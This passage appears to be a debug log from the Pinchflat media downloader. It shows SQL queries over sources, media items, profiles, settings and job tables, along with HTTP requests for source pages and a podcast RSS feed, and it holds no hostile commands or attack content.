((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [45, 10, 0] 16:52:52.560 [debug] QUERY OK source="sources" db=0.0ms idle=3.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [45] 16:52:52.560 [debug] QUERY OK source="media_items" db=0.3ms idle=3.3ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [45] 16:52:52.561 [debug] QUERY OK source="media_items" db=1.0ms idle=3.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [45, 10, 0] 16:52:52.562 [debug] QUERY OK source="sources" db=0.0ms idle=3.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [45] 16:52:52.562 [debug] QUERY OK source="media_items" db=0.1ms idle=2.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [45] 16:52:52.563 [debug] QUERY OK source="media_items" db=1.0ms idle=2.3ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [45, 10, 0] 16:52:52.564 [info] Sent 200 in 1795ms 16:52:56.553 [info] GET /sources/6 16:52:56.553 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "6"} Pipelines: [:browser] 16:52:56.553 [debug] QUERY OK source="sources" db=0.1ms idle=859.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 16:52:56.553 [debug] QUERY OK source="media_profiles" db=0.0ms idle=859.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:52:57.112 [debug] QUERY OK source="tasks" db=558.3ms idle=859.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [6, "executing", "available", "scheduled", "retryable"] 16:52:57.112 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=1418.5ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [5265115, 5157261] 16:52:57.112 [debug] QUERY OK source="settings" db=0.0ms idle=917.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:52:57.112 [debug] QUERY OK source="settings" db=0.0ms idle=559.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:52:57.113 [debug] QUERY OK source="settings" db=0.0ms idle=559.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:52:57.113 [debug] QUERY OK source="sources" db=0.0ms idle=1.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 16:52:57.115 [debug] QUERY OK source="media_items" db=1.8ms idle=1.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [6] 16:52:57.117 [debug] QUERY OK source="media_items" db=1.9ms idle=2.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [6, 10, 0] 16:52:57.117 [debug] QUERY OK source="sources" db=0.0ms idle=5.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 16:52:57.118 [debug] QUERY OK source="media_items" db=0.2ms idle=4.9ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [6] 16:52:57.120 [debug] QUERY OK source="media_items" db=1.8ms idle=4.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [6, 10, 0] 16:52:57.120 [debug] QUERY OK source="sources" db=0.0ms idle=4.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 16:52:57.121 [debug] QUERY OK source="media_items" db=0.3ms idle=2.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [6] 16:52:57.122 [debug] QUERY OK source="media_items" db=1.7ms idle=3.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [6, 10, 0] 16:52:57.123 [info] Sent 200 in 570ms 16:53:00.419 [info] {"source":"oban","duration":143,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:53:14.585 [info] GET /sources/28 16:53:14.585 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "28"} Pipelines: [:browser] 16:53:14.585 [debug] QUERY OK source="sources" db=0.1ms idle=1891.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [28] 16:53:14.585 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1891.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:53:15.166 [info] {"source":"oban","duration":9793,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:53:16.347 [debug] QUERY OK source="tasks" db=1761.6ms idle=1373.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [28, "executing", "available", "scheduled", "retryable"] 16:53:16.347 [debug] QUERY OK source="oban_jobs" db=0.2ms idle=1181.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [5268313, 5157196] 16:53:16.348 [debug] QUERY OK source="settings" db=0.1ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:53:16.348 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:53:16.348 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:53:16.349 [debug] QUERY OK source="sources" db=0.0ms idle=1.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [28] 16:53:16.349 [debug] QUERY OK source="media_items" db=0.3ms idle=1.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [28] 16:53:16.350 [debug] QUERY OK source="media_items" db=0.3ms idle=1.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [28, 10, 0] 16:53:16.350 [debug] QUERY OK source="sources" db=0.0ms idle=2.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [28] 16:53:16.350 [debug] QUERY OK source="media_items" db=0.0ms idle=1.9ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [28] 16:53:16.351 [debug] QUERY OK source="media_items" db=0.4ms idle=1.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [28, 10, 0] 16:53:16.351 [debug] QUERY OK source="sources" db=0.0ms idle=1.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [28] 16:53:16.351 [debug] QUERY OK source="media_items" db=0.1ms idle=1.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [28] 16:53:16.352 [debug] QUERY OK source="media_items" db=0.3ms idle=1.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [28, 10, 0] 16:53:16.352 [info] Sent 200 in 1767ms 16:53:28.804 [info] GET /sources/54410283-ff90-408b-84a6-9b0f438201ec/feed.xml 16:53:28.804 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "54410283-ff90-408b-84a6-9b0f438201ec"} Pipelines: [:maybe_basic_auth] 16:53:28.804 [debug] QUERY OK source="sources" db=0.1ms idle=457.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["54410283-ff90-408b-84a6-9b0f438201ec"] 16:53:28.809 [debug] QUERY OK source="media_items" db=4.3ms 